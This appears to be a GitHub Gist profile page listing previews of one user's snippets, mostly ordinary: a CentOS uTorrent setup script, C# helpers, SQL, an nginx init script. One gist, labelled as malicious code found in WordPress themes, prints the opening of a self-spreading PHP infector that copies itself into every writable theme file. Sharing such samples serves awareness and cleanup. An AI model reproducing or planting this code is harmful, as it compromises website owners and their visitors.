Skip to content

Instantly share code, notes, and snippets.

View shepherdlazy's full-sized avatar

shepherd.lazy shepherdlazy

View GitHub Profile
@shepherdlazy
shepherdlazy / setup.sh
Created July 5, 2016 15:37 — forked from integrii/setup.sh
uTorrent Server (utserver) on Centos 7 (x86_64)
#!/bin/bash
# Took me awhile to figure out how to install utserver on Centos 7 x86_64... Especially with the new systemd subsystem. None of the builds I saw support it - but it will work with a couple symlinks and compatibility packages.
yum install glibc libgcc openssl krb5-libs libcom_err zlib keyutils-libs libselinux glibc glibc.i[36]86 libgcc libgcc.i[36]86 openssl openssl.i[36]86 krb5-libs krb5-libs.i[36]86 libcom_err libcom_err.i[36]86 zlib zlib.i[36]86 keyutils-libs keyutils-libs.i[36]86 libselinux libselinux.i[36]86 openssl098e-0.9.8e-29.el7.centos.2.i686 -y
ln -s /usr/lib/libssl.so.0.9.8e /lib/libssl.so.0.9.8
ln -s /usr/lib/libcrypto.so.0.9.8e /lib/libcrypto.so.0.9.8
mkdir /var/utserver
wget -O /var/utserver/utorrent-server-3.0-25053.tar.gz http://download.utorrent.com/linux/utorrent-server-3.0-25053.tar.gz
cd /var/utserver/
tar zxf utorrent-server-3.0-25053.tar.gz
mv /var/utserver/utorrent-server-v3_0/* /var/utserver/
public class DllWrapper
{
private IntPtr dllHnd;
[DllImport("Kernel32")]
public static extern IntPtr GetProcAddress(IntPtr handle, string funcname);
[DllImport("Kernel32")]
public static extern IntPtr LoadLibrary(string name);
@shepherdlazy
shepherdlazy / Signingxml.cs
Created April 28, 2016 03:48
签名xml文件
static void Main(string[] args)
{
//CspParameters cspParams = new CspParameters();
//cspParams.KeyContainerName = "XML_DSIG_RSA_KEY";
RSACryptoServiceProvider rsaKey = new RSACryptoServiceProvider(2048);
string aaa = rsaKey.ToXmlString(false);
string str = rsaKey.ToXmlString(true);
rsaKey.FromXmlString(str);
@shepherdlazy
shepherdlazy / install_chrome.sh
Created January 31, 2015 13:41
Google Chrome Installer/Uninstaller for RHEL/CentOS 6 or 7
#! /bin/bash
# Google Chrome Installer/Uninstaller for RHEL/CentOS 6 or 7
# (C) Richard K. Lloyd 2014 <rklloyd@gmail.com>
# See http://chrome.richardlloyd.org.uk/ for further details.
# This script is in the public domain and has no warranty.
# It needs to be run as root because it installs/uninstalls RPMs.
# Minimum system requirements:
@shepherdlazy
shepherdlazy / 图像统计脚本.sql
Last active August 29, 2015 14:07
图像接收情况统计
SELECT
[stcd] as '站号',
[0:00],[0:30],[1:00],[1:30],[2:00],[2:30],[3:00],[3:30],[4:00],[4:30],[5:00],[5:30],[6:00],[6:30],[7:00],[7:30],[8:00],[8:30],[9:00],[9:30],[10:00],[10:30],[11:00],[11:30],[12:00],[12:30],[13:00],[13:30],[14:00],[14:30],[15:00],[15:30],[16:00],[16:30],[17:00],[17:30],[18:00],[18:30],[19:00],[19:30],[20:00],[20:30],[21:00],[21:30],[22:00],[22:30],[23:00],[23:30]
FROM
(
SELECT
[ADR_CZ] as stcd
,ltrim(rtrim(Convert(varchar,datepart("hour",[TM]))+':'+(case when datepart(minute,[TM])>=30 then '0' else '3' end )+'0')) as [rechour]
,[PicPath]
FROM
@shepherdlazy
shepherdlazy / functions.php
Created August 22, 2014 09:25
出现在WordPress模板目录下functions.php末尾的一段恶意代码会感染每一个安装的模板
?>
<?php
function _verifyactivate_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
@shepherdlazy
shepherdlazy / ParseDemo.cs
Created August 14, 2014 06:45
解析水文协议日志文件Demo
/* ----------------------------------------------------------------------- *
* Copyright (C) 2014 Tri-Tech Inc. - All Rights Reserved
* File Name : ParseDemo.cs
* Author : ChengLong Du <chenglong_du@tri-tech.cn>
* Create Date : 2014-6-26 15:16:38
* Description :
* ----------------------------------------------------------------------- */
using System;
namespace ParseDemo
@shepherdlazy
shepherdlazy / Program.cs
Last active August 29, 2015 14:05
北斗卫星串口交互XOR校验方法示例
/* ----------------------------------------------------------------------- *
* Copyright (C) 2014 Tri-Tech Inc. - All Rights Reserved
* File Name : Program.cs
* Author : ChengLong Du <chenglong_du@tri-tech.cn>
* Create Date : 2014-8-14 12:16:38
* Description :
* ----------------------------------------------------------------------- */
using System;
using System.Text;
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.22 (GNU/Linux)
mQINBFL5hJsBEADR92jWuGc9+EJW5jkgJm4GTavtR29M5MhV97R+aklDtoKSbItf
ASInDjchi5W5CR9mA8KD5132uPvEViVP2PQfafJprl+cU2Bjn+YuCjxM5ZdcY7ip
axJnwQHtJAXQm/0205eK8ZZ+bQu8uy68Gm1Z9NMfeIQoD92F5NGmpZf/RVtSAWi7
0BBbQP9voiY58cMi0j7JmNkVBNvVRwohkBsWzal6mKJlZ4Zv9MZKq7df69XtQ2MQ
ahUjFsMz7FRh7oru1d8mWpoNEOX6z3eTsjemLu1zj7+xrBe+RkI7GdvG/Ozbjtn8
1k+6S2eaeDuHC++12wK9abcVE4c7bibYaD0VQa32Lpdsj1l6DcsCss5cDsYQqTLu
9xiPJsKlQ3uw1SplfXitXlpge5zPKqiVdExRx1YglzBL8HS7G1dUDFIsI+N4//nj
@shepherdlazy
shepherdlazy / nginxd
Created October 25, 2013 14:41
Startup script for nginx
#!/bin/sh
#
# nginx Startup script for nginx
#
# chkconfig: - 85 15
# processname: nginx
# config: /etc/nginx/nginx.conf
# config: /etc/sysconfig/nginx
# pidfile: /var/run/nginx.pid
# description: nginx is a HTTP and reverse proxy server